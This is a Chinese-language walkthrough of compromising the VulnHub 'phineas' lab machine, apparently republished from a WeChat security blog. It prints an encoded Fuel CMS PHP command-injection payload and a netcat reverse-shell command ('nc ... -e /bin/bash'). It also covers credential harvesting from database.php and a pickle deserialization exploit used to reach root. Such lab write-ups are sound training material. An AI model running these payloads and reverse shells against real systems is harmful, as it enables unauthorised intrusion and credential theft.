VulnHub靶机 - phineas | 红队打靶
2023-5-13 09:1:4 Author: 0x00实验室(查看原文) 阅读量:15 收藏

学习参考:  https://www.bilibili.com/video/BV1Ro4y1J7Dj/  官方靶机:  https://www.vulnhub.com/entry/phineas-1,674/
虚拟机软件:VMware攻击机地址:kali2021:192.168.64.134靶机地址:phineas:192.168.64.135

靶机:

1,靶机ip地址检测

nmap -sn 192.168.64.0/24

netdiscover

2,查看靶机开放的端口

nmap -p- -sV -A 192.168.64.135

3,对80端口做gobuster,发现了/structure目录

gobuster dir -u http://192.168.64.135 \    

-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \

-x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak \

--exclude-length 0

4,对/structure目录做上下文检索,又发现几个目录

gobuster dir -u http://192.168.64.135/structure \

-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \

-x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak \

--exclude-length 2899

5,查看主页面index.phprobots.txtcomposer.json

curl -L -i http://192.168.64.135/structure/index.php

curl -L -i http://192.168.64.135/structure/robots.txt

发现了一个fuel的路径

curl -L -i http://192.168.64.135/structure/composer.json

发现:"name" : "codeigniter/framework",

codeigniter/framework:是一个建站工具

链接:https://codeigniter.com/ 

6,对/fuel上下文检索

gobuster dir -u http://192.168.64.135/structure/fuel \ 130

-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \

-x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak \

--exclude-length 0

出来了很多目录,特别像CMS的网站

7,打开网站进行查看

http://192.168.64.135/structure/ 

输入:http://192.168.64.135/structure/fuel/

跳转到:http://192.168.64.135/structure/fuel/start

8,根据fuel的上下文目录在网站上进行输入

发现目录

在此处猜测,有一个系统叫做fuel,只不过现在还没发现入口

8,本地搜索一下fuel,发现是CMS

searchsploit fuel

RCEsql注入,但是sql注入需要认证

搜索第一个RCE的目录

locate 47138.py

拷贝到桌面

Cat一下

burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"

发现绝对路径

url encode解码出来:https://www.urldecoder.io/ 

'+pi(print($a='system'))+$a(' ')+'"

更改47138.py文件的url和删除代理

给47138.py一个可执行权限

chmod +x 47138.py

执行一下发现还是找不到

9,找不到furl,就在所有的目录后面拼接fuel

192.168.64.135/structure/index.php/fuel

发现这个有200返回值,进行网站测试

发现了fuel cms

再次更改47139.pyurl

出现问题:requests.exceptions.TooManyRedirects: Exceeded 30 redirects.

最终发现是url路径写错了

发现了systemid,能够执行id就能够执行nc

10,开启本地nc监听

nc -nlvp 4444

cmd:nc 192.168.64.134 4444 -e /bin/bash

用靶机的bash进行操作,把本机的bash推回来

推回来后,进行ls等一系列操作

11,查看配置文件,看有没有能登录的账号

 

cat database.php

开放了22端口,使用ssh链接,输入刚才保存的数据库的密码,发现可以进入

ssh [email protected]

看有无管理员权限,发现无

find / -perm -u=s -type f 2>/dev/null

看有没有suid权限的命令

发现一个root用户目录

查看一下,发现app.pyanna用户可读

查看到app.py内的内容,有一个pickle包,专门做python序列化和反序列化的工作,运用的时候存在RCE漏洞

令人困惑的是,80端口使用的是php,这个python的端口在哪里

12,上传检测脚本

创建文件,下载脚本

mkdir vuln-vm

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

上传linpeas.sh

加可执行权限

开始检测 

发现了app.py一点不对劲的地方,631和5000是什么

发现server是python服务,很有可能运行了app

curl -L -i http://127.0.0.1:5000

13,找一个pickle漏洞的执行脚本

Github搜索:

https://github.com/CalfCrusher/Python-Pickle-RCE-Exploit/blob/main/Pickle-PoC.py

复制代码到靶机的目录

touch pickle-exp.py

vi pickle-exp.py

参考app.py url,改ip,改post参数名

Pickle-exp.py

重启监听

Nc – nlvp 4444

加权限执行

14,进入root

显示是root权限

进入root目录,查看root.txt,得到root密码


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247489364&idx=1&sn=e576cd84582a2c9da38e26a72f1b5f10&chksm=cfd868abf8afe1bdabb15688ea298b0f46a110069390f1aa7c95ad39f3fb9a5e2ffd08dbc13e#rd
如有侵权请联系:admin#unsafe.sh